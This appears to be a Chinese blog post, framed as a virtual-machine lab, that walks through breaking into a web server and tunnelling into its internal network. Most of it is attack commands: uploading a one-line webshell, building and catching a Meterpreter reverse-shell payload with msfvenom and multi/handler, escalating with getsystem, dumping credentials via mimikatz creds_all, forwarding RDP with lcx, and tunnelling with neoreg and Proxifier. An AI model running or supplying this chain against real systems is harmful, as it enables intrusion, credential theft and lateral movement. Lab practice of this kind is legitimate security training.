尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
内网隧道与代理
首先使用虚拟机搭建攻击环境三台电脑一台攻击机 外网一台被攻击的机器WEB服务器内网环境两块网卡外网内网一台KALI 外网 与攻击机处于同一网段------------------------------------------------------------------进入攻击的两种方法一是使用蚁剑二是使用MSF先来讲第一种方法向攻击中的网站服务器上传一句话木马然后使用蚁剑连接到这个一句话木马上。使用MSF生成SU.EXE木马。使用蚁剑将SU.EXE上传到被攻击的服务器上。---------------如果使用MSF,则在KALI中执行如下代码msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.11 lport4444 -f exe su.exe--在KALI本机上生成反向连接反向连接到本机IP 端口4444上的木马su.exemsfconsole--启动MSFuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcp--设置PAYLOADset lhost 10.0.0.11set lport 4444--设置反向连接的IP和端口然后启动连接。run启动后只要被攻击的服务品上SU.EXE木马执行那么在MSF中将会连接。在MSF中执行以下命令oad mimikatz 加载mimikatz工具getsystem 提权getuid 查看权限creds_all 一键抓取凭证--creds_all获取到 被攻击服务器密码然后使用LCX代理转发工具将选程连接到被攻击的服务器上。首选使用蚁剑上传LCX到被攻击服务器上和攻击机上LCX:纯端口转发尝试转发目标主机3389端口1、开启3389服务 打开的是远程桌面连接端口2、攻击机执行lcx.exe -listen 2222 1234#监听本地的2222端口将流量转发到12343、Webshell上执行lcx.exe -slave 10.0.0.1 2222 127.0.0.1 3389#将本机3389端口流量转 发到公网ip的2222端口上去在攻击上执行MSTSC127.0.0.11234 则进入到选程桌面可连接被攻击的服务器。至此LCX纯端口转发的实验已完成。----------------------------------------------------reGeorgProxifier 打通内网1、开启2003的IISweb服务2、生成并上传php后门python neoreg.py generate -k 1113、配置代理开启proxifier,代理服务器127.0.0.1:10804、neoreg添加隧道python neoreg.py -k 111 -u http://10.0.0.129:90/pikachu/tunnel.php额外添加python代理规则
RELATED

相关推荐

LLM应用灰度发布实战:Feature Flag在Prompt、模型与AI行为控制中的核心价值

LLM应用灰度发布实战:Feature Flag在Prompt、模型与AI行为控制中的核心价值

1. 从“一键发布”到“渐进式交付”:为什么LLM应用更需要Feature Flag?在传统的软件开发流程里,我们习惯了“开发-测试-发布”的线性模式。一个功能经过内部验证后,便通过一次发布(Release)推送给所有用户。…

📅 2026/10/7 4:13:08
蓝宝石RX590GME黑苹果免驱实战:Polaris显卡在macOS下的完美兼容指南

蓝宝石RX590GME黑苹果免驱实战:Polaris显卡在macOS下的完美兼容指南

1. 一张“矿渣”显卡的“黑苹果”新生记 最近在折腾一台老机器,想让它焕发第二春,装个macOS来玩玩。手头正好有一张从朋友那收来的“退役”显卡——蓝宝石RX590GME 8G D5白金版。这卡的名头,懂行的朋友一听就知道,它和经典的RX580…

📅 2026/10/13 10:00:59
STM32串口温度采集与舵机PWM控制实训日志

STM32串口温度采集与舵机PWM控制实训日志

一、实验核心完成成果本次实训完成STM32硬件联机调试、芯片温度串口采集、SG90舵机驱动控制三大核心实操,硬件连线、程序烧录、数据传输、设备运行均调试成功,实现稳定的硬件联动效果。1. 硬件连接调试成功搭建双链路硬件架构:通过ST-Link完成…

📅 2026/9/11 11:10:21
MORE NEWS

更多资讯

📰

Elo竞赛复盘:特征工程、目标编码与模型融合的实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

Web Audio API + WASM 实现浏览器端MP3本地裁剪

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

char*与char[]深度解析:从内存布局到函数传参的C语言核心差异

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

SVM人脸识别实战:PCA降维与数据划分避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

EDI文件发送成功监控:邮件通知方案完整落地指南

EDI系统上线后最容易被忽略的一件事:文件到底发出去没有。客户那边没收到订单,或者发票少了附件,业务同事来问,你翻半天日志才发现文件卡在传输队列里已经三天了。这种事发生一次是意外,发生三次就是流程缺陷。做监控不…

📰

大模型如何决定“读不读”?从注意力机制到长上下文应用实践

模型在长上下文里是不是真的把每个字都“读”进去了?这个问题我琢磨了很久。正好NIPS 2025上有篇标题很直接的研究,题目叫“Language Models (Mostly) Know When to Stop Reading”,大意是“大语言模型大多数时候知道自己该停在哪”。这篇博文…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬